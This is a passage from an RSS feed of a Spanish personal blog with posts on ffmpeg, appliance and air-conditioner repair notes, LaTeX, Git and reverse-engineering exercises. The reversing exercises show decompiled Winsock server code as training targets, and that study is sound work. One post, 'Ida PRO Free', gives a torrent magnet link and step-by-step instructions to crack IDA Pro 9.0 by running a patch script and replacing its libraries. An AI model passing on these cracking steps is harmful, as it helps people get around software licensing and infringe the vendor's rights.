</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">void</span> (<span style="color:#f92672">*</span>new_handler)(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span>, <span style="color:#66d9ef">uintptr_t</span>)))(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span>, <span style="color:#66d9ef">uintptr_t</span>)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">_InterlockedExchange64</span>(<span style="color:#f92672">&</span>handler, new_handler);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// nfuncs=114 queued=48 decompiled=48 lumina nreq=0 worse=0 better=0
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// ALL OK, 48 function(s) have been successfully decompiled
</span></span></span></code></pre></div><p>Exploit:</p>
-
Cortar audio
https://imlauera.github.io/post/cortar_audio/
Sun, 08 Sep 2024 03:01:20 -0300
https://imlauera.github.io/post/cortar_audio/
<p>This works for me</p>
<p><code>ffmpeg -ss 60 -i input-audio.m4a -t 15 -c copy output.m4a</code></p>
<ul>
<li><code>-ss</code> 60 means, “start from second 60”</li>
<li><code>-t</code> 15 audio output length in seconds.. in this case, 15 seconds..</li>
</ul>
<p>o</p>
<p><code>ffmpeg -ss 17:00 -i input.m4a output.m4a</code></p>
<p>Donde 17 son minutos.</p>
-
[AUDIO][APUNTE] Taller de instalación y reparación de aires acondicionados (Clase 9) - Cortamos caños y lo pestañamos
https://imlauera.github.io/post/9na_clase_aires/
Sat, 07 Sep 2024 16:40:31 -0300
https://imlauera.github.io/post/9na_clase_aires/
<h3 id="video-de-la-clase">Video de la clase</h3>
<p><a href="https://m.youtube.com/watch?v=I5w-wKKC-mk">https://m.youtube.com/watch?v=I5w-wKKC-mk</a></p>
<h3 id="o-mirala-en-invidious">O mirala en invidious</h3>
<p><a href="https://redirect.invidious.io/watch?v=I5w-wKKC-mk">https://redirect.invidious.io/watch?v=I5w-wKKC-mk</a></p>
<h3 id="audio-de-la-clase">Audio de la clase</h3>
<p><a href="https://youtu.be/Hm1F3omTxk8">https://youtu.be/Hm1F3omTxk8</a></p>
<h3 id="o-escuchalo-en-invidious">O escuchalo en invidious</h3>
<p><a href="https://redirect.invidious.io/watch?v=Hm1F3omTxk8">https://redirect.invidious.io/watch?v=Hm1F3omTxk8</a></p>
<h3 id="o-escuchá-el-audio-en-vocaroo">O escuchá el audio en vocaroo</h3>
<p><a href="https://vocaroo.com/14eenFdJ8YLd">https://vocaroo.com/14eenFdJ8YLd</a></p>
<h3 id="doble-pestaña-está-en-el-primer-video-pero-con-audio">Doble pestaña (está en el primer video) pero con audio</h3>
<p>Acá usamos a nuestro favor la “rebarba”, tiene que quedar el doble de espesor.</p>
<p><a href="https://m.youtube.com/watch?v=-cT-RptpPQk">https://m.youtube.com/watch?v=-cT-RptpPQk</a></p>
<hr>
<p>Vamos a usar una amordaza, un puente, un expansor, corta caños. <br>
El cobre es un material que se adhiere, el bronce con el cobre peor, por eso <strong>nada que trabaje con gas refrigerante tiene teflón.</strong> La cocina no lleva teflón.</p>
-
Como convertir videos de alta calidad a baja
https://imlauera.github.io/post/como_convertir_video_de_alta_calidad_a_baja/
Sat, 07 Sep 2024 15:03:20 -0300
https://imlauera.github.io/post/como_convertir_video_de_alta_calidad_a_baja/
<p>Subilos todos a YouTube y bajate la versión de baja calidad con <code>yt-dlp -f 140+136</code></p>
-
X86 opcode
https://imlauera.github.io/post/x86_opcode/
Sat, 07 Sep 2024 03:08:00 -0300
https://imlauera.github.io/post/x86_opcode/
<p>‘%’ significa “and EAX”</p>
<p>‘-’ significa “sub EAX”</p>
<p>‘P’ significa “push EAX”</p>
<p>‘X’ significa “pop EAX”</p>
<p>‘T’ significa “push ESP”</p>
<p>‘' significa “pop ESP”</p>
<p><a href="https://stackoverflow.com/questions/14349735/why-register-eax-esp-and-instructions-sub-push-and-pop-assemble-into-ascii-cha">https://stackoverflow.com/questions/14349735/why-register-eax-esp-and-instructions-sub-push-and-pop-assemble-into-ascii-cha</a></p>
<p><a href="http://ref.x86asm.net/coder32.html">http://ref.x86asm.net/coder32.html</a></p>
-
Ida PRO Free
https://imlauera.github.io/post/idapro_free/
Fri, 06 Sep 2024 05:37:11 -0300
https://imlauera.github.io/post/idapro_free/
<pre tabindex="0"><code>magnet:?xt=urn:btih:6903c417f24b595fc8831933fa454e42e53bd132&dn=IDA%20Pro%209.0%20Beta&tr=http%3A%2F%2Fbt.t-ru.org%2Fann%3Fmagnet
</code></pre><p>Para instalarlo, abrí la carpeta en donde se descargó.</p>
<p>Ubicate en la carpeta de <code>installers original</code>
Ahora ejecutá</p>
<pre tabindex="0"><code>chmod +x idapro_90_x64linux.run
./idapro_90_x64linux.run
</code></pre><p>Se instalará en <code>~/idapro-9.0</code></p>
<p>Ahora ubicate en la carpeta <code>crack</code> copiá <code>crack_ida90_beta.py</code> a donde se instaló el IDAPro: <code>~/idapro-9.0</code> ejecutalo con <code>python crack_ida90_beta.py</code> esto generará los archivos libida.so.patched y libida64.so.patched ahora renombralos a libida.so y libida64.so con el siguiente comando:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mv libida.so.patched libida.so
</span></span><span style="display:flex;"><span>mv libida64.so.patched libida64.so
</span></span></code></pre></div><p>Listo ya debería funcionar, podés agregarlo al path ejecutando</p>
-
Algebra 2 - PM
https://imlauera.github.io/post/algebra2/
Fri, 06 Sep 2024 05:21:51 -0300
https://imlauera.github.io/post/algebra2/
<p>Esta es mi carpeta de Álgebra 2.</p>
<p><a href="https://archive.org/details/algebra2_202409">https://archive.org/details/algebra2_202409</a></p>
-
Como ver el historial de cambios de un archivo usando Git
https://imlauera.github.io/post/como_mirar_historial_de_un_archivo_git/
Fri, 06 Sep 2024 04:28:33 -0300
https://imlauera.github.io/post/como_mirar_historial_de_un_archivo_git/
<p>Así de simple:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>sudo apt install gitk
</span></span><span style="display:flex;"><span>gitk nombre_del_archivo
</span></span></code></pre></div><p>O <code>git log -p -- nombre_de_tu_archivo</code></p>
-
[AUDIO][APUNTE] Taller reparación electrodomésticos (Clase 10) - La Trampa de Aceite no le convence al profesor porque la falta de aceite quema el motor y es peor que exceso de aceite. Como desoldar: agregarle buen estaño para quitar plomo. Motor Universal: continua y alterna (no usarlo en corriente trifásica). Motor lavarropa timer mecánico: solo corriente alterna (220v). Estator: fijo, rotor: el que rota/gira. Jaula de Ardilla. Como girar motores para ambos lados. Teoría del bobinado: posición de las espiras para invertir motor, en las bobinas hay un principio y un final. Como comprar buje: llevar rotor y buje. Delgas. Cómo conectar un motor para probarlo: conectarlo en serie. Tacómetro. Motor universal: tiene bobinado en el rotor y carbones y se puede controlar digitalmente la velocidad a través de pulsos, no trae capacitor necesito 4 conexiones para probarlo. Motor timer mecánico de lavarropas (el ventilador usa el mismo motor): tiene jaula de ardilla y no tiene bobinado. Los lavarropas con placa tienen motores universales. Según el profesor en la jaula de ardilla no hay bobina, pero escuché que es una bobina en corto. Los motores universales se pueden probar con una batería de un auto con 12 voltios no lavará la ropa pero sirve para probar su funcionamiento. Motor universal se puede controlar por control por ancho de pulsos. 220 * 1.41 te da la corriente pico (con ese voltaje te patea). Los motores que trabajan con dos bobinas permanemente en paralelo llevan capacitor. Capacitor: soluciona problema del factor de potencia por el desfasado a 90 grados. Bobina de arranque está dentro. Bobina trabajo está fuera. Bobina secundaria es mal llamada bobina de arranque. Si tiene relay tenés que poner un capacitor de arranque. Heladeras tienen relay, si no arranca ponele capacitor de arranque. Lavarropas de timer mecánico tiene 2 bobinados de trabajo porque no tiene relay, lleva un capacitor de trabajo. No tiene bobina de arranque porque las dos trabajan juntas en paralelo. Cambiar el capacitor corrige la bobina secundaria. En el primario nunca va capacitor. El platino está dentro del timer.
https://imlauera.github.io/post/taller_reparacion_electrodomesticos10/
Fri, 06 Sep 2024 02:24:46 -0300
https://imlauera.github.io/post/taller_reparacion_electrodomesticos10/
<h4 id="audio-de-la-clase-en-youtube">Audio de la clase en YouTube</h4>
<p><a href="https://youtu.be/jzlRd4U2xI4">https://youtu.be/jzlRd4U2xI4</a></p>
<h4 id="o-mirala-en-invidious">O mirala en invidious</h4>
<p><a href="https://redirect.invidious.io/watch?v=jzlRd4U2xI4">https://redirect.invidious.io/watch?v=jzlRd4U2xI4</a></p>
<h4 id="o-en-vocaroo">O en vocaroo</h4>
<p><a href="https://vocaroo.com/1fHCcV3fQwNZ">https://vocaroo.com/1fHCcV3fQwNZ</a></p>
<p>Antes de estas fotos hablamos de la trampa de aceite del aire acondicionado que estaba dibujado en el pizarrón.</p>
<p>Controlador a placa.
<img src="https://imlauera.github.io/img/clase10electro/IMG_20240905_144657415.jpg" alt="clase 10 electrodomesticos"></p>
<p>Refleja para todos lados.<br>
Lo de abajo es una jaula de ardilla representada en forma de “cinta”, con norte y sur.
<img src="https://imlauera.github.io/img/clase10electro/IMG_20240905_152209040.jpg" alt="clase 10 electrodomesticos"></p>
<p>El motor se controla por señales de pulso o por ancho de banda (onda cuadrada)</p>
-
C y reversing
https://imlauera.github.io/post/c_y_reversing1/
Tue, 03 Sep 2024 20:02:06 -0300
https://imlauera.github.io/post/c_y_reversing1/
<p>Reverseamos un hola mundo.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(){
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Hola Mundo</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p><img src="https://imlauera.github.io/img/cracking/curso/ida_hello_world.png" alt=""></p>
<p>Aquí vemos que el compilador modifico nuestro main haciéndolo una función de tres argumentos que no son nuestros, sino del compilador, y tiene una variable. <code>var_4</code> que creo el compilador la cual si hacemos las cuentas devolverá siempre 10 y la utilizara el compilador al cerrar el programa, por supuesto nada de esto es código propio, vayamos a nuestro código, propiamente dicho.</p>
-
Geometría Métrica
https://imlauera.github.io/post/geometria_metrica/
Mon, 02 Sep 2024 09:39:07 -0300
https://imlauera.github.io/post/geometria_metrica/
<p>Ejercicios resueltos de geometría métrica. UNAM - Profesorado Matemáticas -</p>
<p><a href="https://archive.org/details/699299095-geometria-metrica-ejercicios-resueltos">https://archive.org/details/699299095-geometria-metrica-ejercicios-resueltos</a></p>
-
Fisicoquimica 2024
https://imlauera.github.io/post/fisicoquimica/
Mon, 02 Sep 2024 05:47:13 -0300
https://imlauera.github.io/post/fisicoquimica/
<p>Acá tienen el pdf de mi carpeta de fisicoquimica profesorado matemáticas 2023. Pesa 2gb lo más recomendable es bajárselo por torrent.</p>
<p><a href="https://archive.org/details/fisicoquimica_202409">https://archive.org/details/fisicoquimica_202409</a></p>
-
Generar pdf a partir de imagenes con LaTeX
https://imlauera.github.io/post/generar_pdf_a_partir_de_imagenes/
Mon, 02 Sep 2024 03:48:42 -0300
https://imlauera.github.io/post/generar_pdf_a_partir_de_imagenes/
<p>Generá un archivo llamado misimagenes.tex y guardá lo siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-latex" data-lang="latex"><span style="display:flex;"><span><span style="color:#66d9ef">\documentclass</span>{article}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">\usepackage</span>{graphicx}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">\begin</span>{document}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">\title</span>{Conversión de Imágenes a PDF}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">\author</span>{Tu Nombre}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">\date</span>{<span style="color:#66d9ef">\today</span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">\maketitle</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">\section</span>{Imágenes Incluidas}
</span></span><span style="display:flex;"><span>Aquí hay una imagen incluida en el documento:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">\includegraphics</span><span style="color:#a6e22e">[width=\textwidth]</span>{nombre_de_la_imagen.jpg}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">\end</span>{document}
</span></span></code></pre></div><p>En la línea de comandos ejecutá <code>ls -v *.jpg > mis_imagenes</code>
Copiá y pegá en tu LaTeX todas las imágenes ahora y en VIM seleccionando todas las líneas de los nombres de las imágenes y ejecutando <code>:norm I \includegraphics[width=\textwidth]{</code> y <code>:norm A}</code></p>
-
Configurar tu Android para que automáticamente prenda al conectar al cargador
https://imlauera.github.io/post/como_encender_android_sin_boton/
Sun, 01 Sep 2024 23:25:34 -0300
https://imlauera.github.io/post/como_encender_android_sin_boton/
<p>Tenés que encenderlo aprentando el botón de la placa una vez que lograste encenderlo, habilitá developer options: abrí settings andá a la última opción: <code>acerca del teléfono</code> y apretá <code>build number</code> varias veces hasta habilitar modo desarrollo.</p>
<p>Ahora en opciones del programador (developer options) habilitá <code>usb-debugging, oem unlock, stay awake</code> instalá platform-tools adb y fastboot, ejecutá <code>adb devices</code> conectá el celular a la PC con USB, te saldrá una notificación que te pedirá autorización en tu celular, a veces no sale tenés que habilitar y deshabilitar usb debugging hasta que funcione. Ahora ejecutá <code>adb devices</code> en la consola y deberías poder ver el celular luego <code>adb reboot bootloader</code> ahora <code>sudo fastboot devices</code> deberías poder ver el celular si no lo ves desconectá el cable rapido y volvelo a conectar hasta que aparezca, ahora ejecutá:<br>
<code>sudo fastboot oem off-mode-charge 0</code> listo , el celular se debería encender al conectar el USB.</p>
-
[AUDIO][APUNTE] Taller de instalación y reparación de aires acondicionados (Clase 8) - Instalación de un aire acondicionado.
https://imlauera.github.io/post/8va_clase_aire/
Sun, 01 Sep 2024 21:11:43 -0300
https://imlauera.github.io/post/8va_clase_aire/
<h4 id="audio-de-la-clase">Audio de la clase</h4>
<p><a href="https://youtu.be/id4C-zot2uQ">https://youtu.be/id4C-zot2uQ</a></p>
<h4 id="mirarlo-en-una-instancia-de-invidious">Mirarlo en una instancia de invidious</h4>
<p><a href="https://redirect.invidious.io/watch?v=id4C-zot2uQ">https://redirect.invidious.io/watch?v=id4C-zot2uQ</a></p>
<h4 id="instalación-de-equipo-de-aire-acondicionado-split">Instalación de equipo de aire acondicionado split</h4>
<p>Para la instalación de un split debemos seguir los siguientes pasos:</p>
<ol>
<li>Convenir con el cliente el precio de la instalación del equipo del aire acondicionado, es conveniente pasar la mano de obra por un lado y la de los materiales por el otro, <strong>dejando en claro que el mismo no incluye instalación eléctrica para la alimentación al equipo</strong>.</li>
<li>Asesorar al cliente con respecto a la capacidad frigorífica de la unidad para el recinto.</li>
<li>Ubicación del evaporador, siendo conveniente que el mismo quede de frente y a lo largo de la habitación dejando como mínimo 10 cm del techo y 20 cm de la pared lateral.</li>
<li>Tomamos el evaporador y en la parte de atrás encontraremos una chapa soporte, en la cual tomaremos la medida que hay entre el borde de la chapa y el centro de la salida de los caños, se retira la chapa soporte y se monta a la mitad del lugar destinado a instalar el evaporador dejándola amurada a nivel.</li>
</ol>
<p><img src="https://imlauera.github.io/img/8va_clase_aire/1.jpeg" alt="Evaporador">
<img src="https://imlauera.github.io/img/8va_clase_aire/2.jpeg" alt="">
Es importante que quede a nivel. Cuando vos te vas a una casa y el equipo está un poco de lado y el tipo de dice: “no es por el tema del …” es mentira, <strong>o no usó nivel o se le fue el nivel. El equipo siempre tiene que estar a nivel, sino el drenaje no funciona, si está fuera del nivel el drenaje no funciona.</strong> Los equipos ya vienen preparados con pendiente, si le saco ese nivel no me funcionará como corresponde.</p>
-
[AUDIO][APUNTE] Taller reparacion electrodomesticos (Clase 9) - Tipos de fuentes. Fuente standBy. Rectificador. Tipos de relay y como medirlos. Regulador de voltaje. Reparación ventilador. Cargador de celular con fuente lineal. Problema: Capacitor TRIAC. Como medir capacitor. Capacitor transforma la corriente de punzante a pura. Estator: parte fija del motor. Rotor: jaula de ardilla el que rota (el que gira). Hasta antes de los diodos es corriente alterna. Como medir relay. Bobinas en paralelo, capacitor para corregir factor de potencia. Ventilador tiene bobina de arranque y de trabajo. Hay que corregir factor de potencia con un capacitor. Split no tiene bobina de arranque, la heladera sí. Calcular impendancia entre cables para calcular arranque, trabajo. Como medir si funciona un ventilador paso por paso en hora 2:40. Hay que ir cambiando las velocidades al medir cables. El fusible del ventilador al parecer estaba bien, pero la bobina estaba cortada, pero no quemada. Como medir bobina quemada.
https://imlauera.github.io/post/9na_clase_electro/
Fri, 30 Aug 2024 21:13:12 -0300
https://imlauera.github.io/post/9na_clase_electro/
<h3 id="audio-de-la-clase">Audio de la clase:</h3>
<p><a href="https://youtu.be/xniJUxh04qI">https://youtu.be/xniJUxh04qI</a></p>
<h3 id="o-mirala-en-invidious">O mirala en invidious</h3>
<p><a href="https://redirect.invidious.io/watch?v=xniJUxh04qI">https://redirect.invidious.io/watch?v=xniJUxh04qI</a></p>
<h3 id="audio-en-vocaroo">Audio en Vocaroo:</h3>
<p><a href="https://voca.ro/14o6t9RexjMx">https://voca.ro/14o6t9RexjMx</a></p>
<h4 id="temas-tocados-en-esta-clase">Temas tocados en esta clase:</h4>
<p>Tipos de fuentes, transformadores, procesadores, fuente standby en aires acondicionados, placas con más de 1 fuente.</p>
<p>Transformadores función: bajar la tensión.</p>
<p>En el transformador del microondas el bobinado tiene más vueltas en la segunda bobina.
Todo conductor tiene impedancia.</p>
<p>Cable más largo: mayor impedancia.</p>
<h4 id="cómo-haces-para-identificar-cual-es-el-primario-y-el-secundario">¿Cómo haces para identificar cual es el primario y el secundario?</h4>
<p>El primario tiene menos resistencia.</p>
-
Ricardo Narvaja (Exámen 22)
https://imlauera.github.io/post/ricardo_narvaja_22/
Tue, 27 Aug 2024 14:54:47 -0300
https://imlauera.github.io/post/ricardo_narvaja_22/
<p>Este exámen tiene demasiado código como para pegarlo acá.</p>
-
Ricardo Narvaja: Exámen 17 (Servidor, zlib.dll)
https://imlauera.github.io/post/ricardo_narvaja_17/
Tue, 27 Aug 2024 14:54:39 -0300
https://imlauera.github.io/post/ricardo_narvaja_17/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v3; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v5; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v6; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v7; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v8; <span style="color:#75715e">// [esp+0h] [ebp-12E0h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v9; <span style="color:#75715e">// [esp+0h] [ebp-12E0h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v10; <span style="color:#75715e">// [esp+0h] [ebp-12E0h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v11; <span style="color:#75715e">// [esp+0h] [ebp-12E0h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v12[<span style="color:#ae81ff">4096</span>]; <span style="color:#75715e">// [esp+8h] [ebp-12D8h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v13[<span style="color:#ae81ff">400</span>]; <span style="color:#75715e">// [esp+1008h] [ebp-2D8h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> Format[<span style="color:#ae81ff">200</span>]; <span style="color:#75715e">// [esp+1198h] [ebp-148h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v15[<span style="color:#ae81ff">64</span>]; <span style="color:#75715e">// [esp+1260h] [ebp-80h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v16[<span style="color:#ae81ff">16</span>]; <span style="color:#75715e">// [esp+12A0h] [ebp-40h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">__int16</span> v17[<span style="color:#ae81ff">2</span>]; <span style="color:#75715e">// [esp+12B0h] [ebp-30h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v18; <span style="color:#75715e">// [esp+12B4h] [ebp-2Ch]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v19; <span style="color:#75715e">// [esp+12C0h] [ebp-20h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v20; <span style="color:#75715e">// [esp+12C4h] [ebp-1Ch] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v21[<span style="color:#ae81ff">4</span>]; <span style="color:#75715e">// [esp+12C8h] [ebp-18h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v22[<span style="color:#ae81ff">4</span>]; <span style="color:#75715e">// [esp+12CCh] [ebp-14h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v23; <span style="color:#75715e">// [esp+12D0h] [ebp-10h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> i; <span style="color:#75715e">// [esp+12D4h] [ebp-Ch]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v25; <span style="color:#75715e">// [esp+12D8h] [ebp-8h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v26; <span style="color:#75715e">// [esp+12DFh] [ebp-1h]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">strcpy</span>(v15, <span style="color:#e6db74">"Hello Client , I have received your connection your key is %d.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>v21 <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetTickCount</span>();
</span></span><span style="display:flex;"><span> Src <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(<span style="color:#ae81ff">0x2000u</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LoadLibraryA</span>(<span style="color:#e6db74">"zlib.dll"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">Initialising Winsock..."</span>, v8);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">WS2_32_115</span>(<span style="color:#ae81ff">514</span>, v13) )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_111</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Failed. Error Code : %d"</span>, v3);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Initialised.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v9);
</span></span><span style="display:flex;"><span> v25 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_23</span>(<span style="color:#ae81ff">2</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v25 <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_111</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Could not create socket : %d"</span>, v5);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Socket created.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v10);
</span></span><span style="display:flex;"><span> v17[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span> v18 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> v17[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_9</span>(<span style="color:#ae81ff">8888</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">WS2_32_2</span>(v25, v17, <span style="color:#ae81ff">16</span>) <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v6 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_111</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Bind failed with error code : %d"</span>, v6);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">puts</span>(<span style="color:#e6db74">"Bind done"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_13</span>(v25, <span style="color:#ae81ff">3</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">puts</span>(<span style="color:#e6db74">"Waiting for incoming connections...port 8888"</span>);
</span></span><span style="display:flex;"><span> v20 <span style="color:#f92672">=</span> <span style="color:#ae81ff">16</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v23 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_1</span>(v25, v16, <span style="color:#f92672">&</span>v20);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v23 <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_111</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"accept failed with error code : %d"</span>, v7);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">puts</span>(<span style="color:#e6db74">"Connection accepted</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>(Format, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">sizeof</span>(Format));
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401400</span>(Format, v15, v21[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(Format, v11);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_19</span>(v23, Format, <span style="color:#ae81ff">200</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> v19 <span style="color:#f92672">=</span> dword_404038;
